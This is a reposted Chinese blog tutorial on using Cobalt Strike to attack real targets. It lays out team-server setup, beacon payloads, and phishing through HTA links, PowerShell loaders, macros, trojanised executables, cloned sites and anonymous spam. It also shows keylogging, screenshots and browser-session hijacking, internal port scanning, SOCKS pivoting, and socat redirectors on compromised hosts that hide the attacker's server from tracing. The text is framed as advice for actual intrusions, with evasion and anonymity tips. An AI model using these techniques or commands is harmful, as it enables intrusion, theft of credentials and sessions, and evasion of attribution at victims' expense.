原文:https://klionsec.github.io/2017/09/23/cobalt-strike/#menu
0x01 關於 Cobalt Strike
1
2
3
|
一款非常優秀的后滲透平台 [ 誰用誰知道,嘿嘿……說不好用的唯一原因,可能就是很多用法還沒有被自己挖掘出來,因為不會用,所以,才會感覺不好用 ]
工具基於java,大部分功能在改進的基礎上還是相對比較實用的,非常適合團隊間協同作戰
更多詳情請自行參考官網,這里就不啰嗦了,以下全部簡稱
'cs'
|
0x02 基礎環境簡介:
1
2
3
4
5
|
kali 實際控制端
ip:
192.168
ubuntu
16.04 自己公網的vps
ip:
53.3
win2008R2 目標機器
ip:
192.168
centos6
ip:
192.168
已控肉雞
win7cn 另一台肉雞
ip:
192.168
|
0x03 先來快速預覽cs最基本的一些模塊具體用途:
團隊服務器[teamserver]
1
2
3
4
|
主要是為了方便一個滲透團隊內部能夠及時共享所有成員的所有滲透信息,加強成員間的交流協作,以此提高滲透效率
也就是說,正常情況下一個團隊只需要起一個團隊服務器即可,團隊中的所有成員只需要拿着自己的cs客戶端登錄到團體服務器就能輕松實現協同作戰
當然,實際中可能為了盡可能久的維持住目標機器權限,還會習慣性的多開幾個團隊服務器,防止出現意外情況
另外,團體服務器最好運行在linux平台上
[本次演示所用的團隊服務器系統為ubuntu 16.04]
|
1
2
|
# ./teamserver 團隊服務器ip 設置一個團隊服務器密碼
[別人要用這個密碼才能連進來] 配置文件
[一般默認即可]
[YYYY-MM-DD]
# ./teamserver
53.3.3.6 klion
|
客戶端[cobaltstrike]
為了更好的說明效果,此處就分別模擬兩個不同的客戶端同時登陸到同一台團隊服務器中,首先,先在本機運行客戶端嘗試登陸到團隊器,客戶端啟動以后會提示你輸入團隊服務器的ip,端口和密碼,用戶名可隨意
1
|
./cobaltstrike
|
接着,再到另一台kali機器上打開客戶端登陸登錄到同一團隊服務器,最終實現的效果如下,團隊成員可以通過event相互溝通,也可通過event清晰看到團隊中的其它成員在什么時間都干了些什么,非常詳細直觀:
1
|
./cobaltstrike
|
使用cs的各種監聽器
1
2
|
其實,監聽器的作用很簡單,主要是為了接受payload回傳的各類數據,
比如,我們的payload在目標機器執行以后,會回連到監聽器然后下載執行真正的shellcode代碼,其實跟msf中
handler的作用基本是一致的
|
在cs中的監聽器有兩種,一種是beacon,另一種是foreign
1
2
|
beacon 為
cs內置監聽器,也就是說,當我們在目標系統成功執行payload以后,會彈回一個beacon的
shell給
cs,該
shell所支持的通信協議主要包括這幾種,dns,https,http,smb[pipe],另外,beacon
shell的內置功能也非常多,后面我們會再詳細說
foreign 主要是提供給外部使用的一些監聽器,比如你想利用
cs派生一個meterpreter的
shell回來,來繼續后面的內網滲透,這時就選擇使用外部監聽器
|
再來簡單演示下,如何快速創建一個監聽器,具體過程如下
1
2
3
4
|
點擊左上角的Cobalt Strike菜單
-> 選中Listeners
-> 接着點擊
Add
按鈕會自動跳出監聽器的配置框
-> 設置好端口ip [ 實際中最好用域名(走dns隧道) ]和payload類型即可創建,之后,團隊服務器會一直監聽該端口等待beacon
shell
回連的數據
|
說完監聽器,最后,我們再來說payload [攻擊載荷]
1
2
|
說白點兒其實就是個木馬下載器,當目標觸發payload以后,會自動去下載shellcode[其實就是beacon
shell
的代碼]到目標系統中運行,最后成功彈回目標系統的beacon shell,
至於在beacon
shell
執行的指令都是按照計划任務來的,也就是說被控端會按事先規定好的時間自動去控制端下載各種指令任務依次在目標系統中執行
|
首先,我們先來簡單創建個payload,然后直接把它丟到目標系統中執行,看看實際的上線效果到底是個什么樣子,注意,這里帶紅爪子的是已經拿到系統最高權限的,沒爪子的基本都是系統權限暫時還比較低的
0x04 豐富的客戶端攻擊選項
首先,嘗試利用 ‘System Profiler’ 模塊,搜集目標的各類機器信息,比如,目標用的什么版本的操作系統,什么瀏覽器,詳細版本是多少,有沒有裝flash,flash具體版本又是多少[低版本可以掛馬],看能不能看到目標內網ip段,大概目測估計下目標內網有多大,有了這些基礎信息以后,后期我們就可以針對性的寫信發信,還是那句話,實際中最好用域名,因為這里是實驗所以才直接用的ip,發信時最好用html偽裝個比較”到位”的鏈接,關於寫信發信又是另一個比較’專業’的技術點,個人能力有限,這里暫不涉及,嘿嘿……下面就給大家簡單的看下實際的效果
利用’hta payload’配合’文件下載’模塊向目標發送各種釣魚鏈接,首先,創建一個hta的payload,這里的payload暫時只支持三種可執行格式,exe,powershell和vba(宏),實際中更推薦用powershell,成功率相對較高,好處就不多說了,免殺,靈活…
1
|
http:
//
53.3.
3.6:
80
/download/plugins.hta
|
生成基於各類語言的shellcode,如,c,c#,java,python,powershell,ruby,raw,另外,cs也提供了可直接配合veil一起使用的選項,這里還是以最實用的powershell為例,生成好以后,想辦法把腳本載入到目標系統中,這里就直接在目標cmd中載入了,實際中你可以把這個代碼單獨扣出來放到任何能執行ps的地方
1
|
powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"
|
嘗試利用office宏釣魚,並不推薦直接這樣搞,因為office默認是不啟用宏的,不過,可以嘗試配合利用一些已經爆出來的相對比較新office 0day來搞,注意平時自己用office一定要禁用無數字簽證的宏,切莫信任vba
嘗試向正常的exe中嵌入payload,不過,捆綁完以后的exe圖標可能會被改變,你可以嘗試把原來的putty.exe的圖標給扣出來,然后再替換下,好好處理下免殺,之后問題基本就不太大了,從下圖可以清晰地看到,當正常的程序執行完以后,我們的payload也一並被執行了[其實payload是先執行的]
生成傳統的usb自運行payload,你需要提供一個payload[這個可以直接用cs生成,不過不免殺,最好還是用你自己處理好的馬來搞]即可,官方說,對xp之前的系統最好使,win7以后的系統基本廢掉了,實用性並不大,所以這里也就不詳細說了
至於生成常規的exe payload就很簡單了,指定下要掛到哪個監聽器上,然后給個命中率比較高的名字保存一下,把生成的可執行文件想辦法丟到目標機器上執行下,非常簡單,這里就不多啰嗦了
克隆目標網站針對性掛馬,提供一個你想克隆的網站,然后配好自己的url[模仿的盡量跟目標的像一點],然后帶上你要執行的payload,這里的payload可以直接用msf生成,也可以像我這樣用hta,當然啦,實際中這個payload肯定是精心處理過的,機會來之不易,肯定不會瞎搞,還是那句話實際寫信最好用html方便把那個url給處理的更逼真
‘PowerShell Web Delivery’可能也是大家平時用的最多的功能模塊了,其實,它就相當於msf中的web_delivery模塊,會生成一段shellcode代碼,然后會提供給你一個下載器,這樣你就可以把這個下載器插到任何能運行powershell且能正常上網的地方,比如,典型的 chm,快捷方式……,因為只是實驗,我就直接丟到目標系統的cmd中執行了
發垃圾郵件,先把所有的目標郵箱放到一個文件中[注意,每行對應一個],然后再去找個准備用來釣魚的郵件[直接查看原文,把html整個粘出來],寫完信以后記得先預覽下,看看實際效果,然后再配置好用來發送郵件的公共郵件服務器,這里本來想用protonmail郵箱服務器來發的,后來看到官方說因為加密的原因暫不支持常規的IMAP,POP3,SMTP,無奈,這里就先不演示了,非常簡單,實際不明白也可以私信我……,另外,實際中大家最好用手中已有的各種匿名郵箱來發[反正只要不泄露私人信息會容易被人追蹤到的郵箱都可以],這很重要……切記,圖貌似給貼錯了,汗……大家懂我意思就行
常規java攻擊,有版本限制,而且要買證書,實際滲透中,其實前面這些基本就已經夠用了,所以這里就不重點說了
0x05 通過上面這些方法,相信此時的你已經搞到了一個beacon的shell,下面我們就來詳細說明關於beacon shell自身的基本使用[后滲透階段],先假設我們拿到的是一個還沒有bypass掉uac之前的’管理員’權限的beacon shell,以此來進行后續的一些基本操作,需要事先說明一下cs對中文的支持並不好,如果目標是中文系統,有亂碼是肯定的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
help 查看beacon
shell所有內置命令幫助,如果想查看指定命令的用法,可以這樣,
e
g:
help checkin
note 給當前目錄機器起個名字,
e
g: note beacon-
shell
cd 在目標系統中切換目錄,注意在win系統中切換目錄要用雙反斜杠,或者直接用
'/'
e
g:
cd
c:\\
mkdir 新建目錄,
e
g:
mkdir d:\\beacon
rm 刪除文件或目錄,
e
g: rm d:\\beacon
upload 上傳文件到目標系統中
download 從目標系統下載指定文件,
e
g: download C:\\Users\\win7cn\\Desktop\\putty.
exe
cancel 取消下載任務,比如,一個文件如果特別大,下載可能會非常耗時,假如中途你不想繼續下了,就可以用這個取消一下
shell 在目標系統中執行指定的cmd命令,
e
g:
shell whoami
getuid 查看當前beacon 會話在目標系統中的用戶權限,可能需要bypassuac或者提權
pwd 查看當前在目錄系統中的路徑
ls 列出當前目錄下的所有文件和目錄
drives 列表出目標系統的所有分區[win中叫盤符]
ps 查看目標系統當前的所有的進程列表
kill 殺掉指定進程,
e
g: kill
4653
sleep
10 指定被控端休眠時間,默認
60秒一次回傳,讓被控端每
10秒來下載一次任務,實際中頻率不宜過快,容易被發現,
80左右一次即可
jobs 列出所有的任務列表,有些任務執行時間可能稍微較長,此時就可以從任務列表中看到其所對應的具體任務id,針對性的清除
jobkill 如果發現任務不知是何原因長時間沒有執行或者異常,可嘗試用此命令直接結束該任務,
e
g: jobkill
1345
clear 清除beacon內部的任務隊列
checkin 強制讓被控端回連一次
exit 終止當前beacon 會話
ctrl +
k 清屏
|
0x06 搜集目標機器上的各類信息[有些可能會觸發敏感api導致防護報警,另外進程注入,被控端可能感到非常明顯的卡頓,工具也有許多不完善的地方]:
1
|
在目標系統中放置常規鍵盤記錄,
eg: keylogger
1796 x86
|
1
|
嘗試在目標系統中截屏,可能會造成目標系統有很明顯的卡頓,
eg: screenshot
1796 x86
10 截取
10秒
|
1
2
3
4
|
利用web代理,劫持轉發目標瀏覽器進程數據到指定的端口上,然后我們再從該端口訪問,就相當於拿着目標的瀏覽器中的數據訪問
比如,我們通過截屏發現他登錄某個需要賬號密碼的站點,通過瀏覽器代理我就可以實現無密碼直接登錄他所登錄的那個站點,我表達能力不好,相信大家應該都懂我意思
官方說暫時只對IE好使,而且還不穩定,成功率一半一半吧,估計是
dump進程數據的原因,
dump瞬間可能會造成目標瀏覽器巨卡
不過不得不說這個想法還是非常好的,只是功能目前做的 [ 這里膜拜下作者,大寫的贊] ,還不是特別完善,走投無路的情況下可以嘗試下
|
1
2
|
browserpivot
1460 x86
browserpivot stop
|
域內滲透相關模塊,其實,如果真是域內滲透,我們可以暫時不用這么搞,后續再單獨說
1
2
3
|
kerberos_ccache_use 從ccache文件中導入票據
kerberos_ticket_purge 清除當前
shell
的票據
kerberos_ticket_use 從ticket文件中導入票據
|
0x07 通過各種powershell滲透框架來增強cs的實用性,如,nishang,empire,PowerSploit,powerup,Sherlock……續的,提權,bypassuac,dll注入,抓hash,pth……都是一模一樣的用法,核心還是在那些腳本上,關於各類powershell框架的具體用法,請關注博客相關文章,這里就不一一演示了,就簡單說一下用法,當然,beacon shell自身也提供了類似的功能,只是我沒有說,但實際中那個可能還遠遠不夠,而且它自身的工具工作的也不是非常好,所以更推薦大家尤其是在win內網滲透中,盡可能全部用powershell來搞
第一種方式,在beacon shell中導入外部ps腳本到遠程機器上
1
2
|
powershell-import /root/Desktop/
Get-
Information.ps1
powershell
Get-
Information
|
第二種方式,在beacon shell中直接執行powershell代碼
1
|
powerpick
-Host
|
0x08 利用cs靈活穿透目標內網
對目標機器所在的內網進行常規端口掃描,指定ip段,指定用於掃描的協議[暫只支持arp,icmp,tcp],指定線程[切記實際中不要開的太高]
1
|
portscan
192.168
.1
.0/
24
1
-6000 arp
10
|
becon shell內置的端口轉發功能,把本機的某個端口轉到公網或者內網指定機器的某個端口上,實際用的時候速度確實比較慢,而且經常斷……原因暫未知
1
2
|
rportfwd
389
192.168
.1
.181
3389
rportfwd stop
389
|
讓cs和msf相互間聯動使用,在目標機器上開啟socks4a代理,方便進一步的內網滲透
第一種,利用各種socks代理客戶端直接把各類滲透工具帶進目標內網
1
|
beacon>
socks 1234
|
1
2
3
|
# vi /etc/proxychains.conf
socks4
53.3
.3
.6
1234
# socks stop
|
第二種,直接利用隧道直接把整個msf帶進目標內網
1
|
setg Proxies socks4:
53.3
:
1234
|
利用beacon shell連接內網中的linux機器
1
|
ssh 192
.168
.1
.199
:22
root
admin
|
通過beacon隧道直接派生一個meterpreter的shell[非vps上做中轉,直接通過beacon隧道過來],流程很簡單,首先,在團體服務器上做端口轉發,然后創建一個外部監聽器,端口和ip寫beacon shell的機器所在的ip,然后在對應的beacon shell中’spawn’選中剛剛創建好的外部監聽器,暫時還有些問題沒有很好的解決,后面單獨說
至於如何利用msf彈回一個beacon shell的方法就很多了,最簡單的方法就是直接執行下beacon的payload的代碼就可以了,又忘貼圖了,汗……后期再補上來吧
0x09 配合常規端口轉發盡可能隱藏自己的團隊服務器
1
2
3
|
有時為了混淆視聽,防止被別人快速溯源到,可能會在中間加一些跳板來盡可能隱藏我們真實的團隊服務器位置,怎么做呢,其實很簡單
說白點就是做端口轉發
[又名重定向],當然啦,這個端口轉發肯定是在自己已有的肉雞上做
[論匿名的重要性]
如果你實在不放心,也可以嘗試同時在多個肉雞上,做多級轉發
[也就是多加幾層跳板],以此來迷惑對方,加大對手的溯源難度,這是其一
|
1
2
3
4
|
還有些目標內網中的某些機器是沒法正常直連公網的,只能內網機器間相互訪問,但我們還是想讓那台不能上網的機器也能正常上線
這就要用到我們馬上要說的端口轉發,至於具體用什么工具自然就非常多了,不過,還是推薦大家首選一些系統自帶工具來搞,比如,netsh,iptables,socat之流……
這樣,你好,我也好 ^
_^
下面就用socat來簡單演示下如何盡可能隱藏自己的團隊服務器,關於內網斷網機器上線也是一模一樣的道理,大家可自行嘗試
|
首先,到kali中用cs客戶端登到我們的團隊服務器,創建一個正常80端口的監聽器,這里的回連ip暫時直接用vps所在的真實ip[實際中盡量用域名,很重要],如下
接着,就可以ssh到肉雞上用socat開始做轉發了,下面這句話的意思就是將來自外部的80端口上的流量轉到公網vps的80端口上,之后肉雞本地的80端口會一直處於監聽狀態,只要80端口一有流量經過就會自動轉發到vps的80端口,而vps的80端口又正好是我們的監聽器端口,這意思,相信你懂的
1
|
#
socat
tcp-listen
:80,
reuseaddr,
fork
tcp
:53.3.3.6
:80 &
|
此時,回到cs客戶端隨便創建一個powershell payload,注意,正如我們前面所說,這只是個powershell下載器,主要負責下載真正的shellcode代碼,一定要記得把后面的ip要改成肉雞的ip[因為我這里是模擬的肉雞,所以才是個內網ip,實際中肯定是個公網ip或者域名],因為我們最終的目的是通過肉雞幫我們轉發到我們真正的團隊服務器上去,以此來達到盡量隱藏的目的
注意這里,默認生成以后,它是我們自己團隊服務器解析的那個域名,實際中一定要手動把它改成肉雞的域名或ip,這樣,當下載訪問肯定首先會訪問到肉雞,而我們已經在肉雞做了轉發,所以最終還是會達到我們的團隊服務器成功下載到shellcode代碼,我個廢物,竟然連碼都沒打全,算了,反正vps馬上也快到期了,打游擊打習慣了,嘿嘿……^_^
1
|
|
最后,我們看到目標正常上線,至於,怎么讓目標內網中不能正常連網的機器也能正常上線都是一模一樣的道理,你可以把payload回連的流量彈到內網中任何一台可以正常上網的機器上,然后再去那台機器上把彈過來的流量轉到我們團隊服務器上,這樣即可達到讓內網中不能上網的機器也一樣正常上線
0x10 深入理解dns隧道通信以及smb beacon通信過程,這可能是整個工具最核心的地方之一,后續會用大量的篇幅單獨說
0x11 至於牛逼的報告生成功能這里就不說了吧,支持一鍵導出pdf,實際滲透過程中的所有操作記錄數據全部都被保存在指定的目錄中,大家有興趣可自行研究,比較簡單,畢竟不是我們這里的重點,就不多啰嗦了
一點小結:
大家也看到了,關於工具本身使用非常簡單,純圖形化操作,稍微有點兒基礎,很快就能上手,而且它直接支持圖標靈活拖拽,很方便對指定肉雞進行集中批量操作,非常友好,實際中將msf和cs配合起來進行內網滲透,無疑暫時也是極好的,真正的難點還在於對不同協議的beacon shell通信過程的理解,這也是個人覺得整個工具最值錢的地方,說實話,關於其內部的通信細節很多問題至今仍困擾着我,一直都覺得cs本身就是一款非常完美的學習樣本,里面有太多值得深挖沉淀的東西,只是苦於有很多東西,並非一個人所能完成,相信也大家跟我一樣,絕不會僅僅滿足於工具基本使用上,其實心里都很清楚,那樣基本是不會有什么實質性的長進的,時間不多,容不得浪費,所以也非常期待跟大家一起深入交流……對了,cs 3.8也已經出來了一段時間了,想嘗鮮的朋友可以去試試,延長試用期還是老辦法…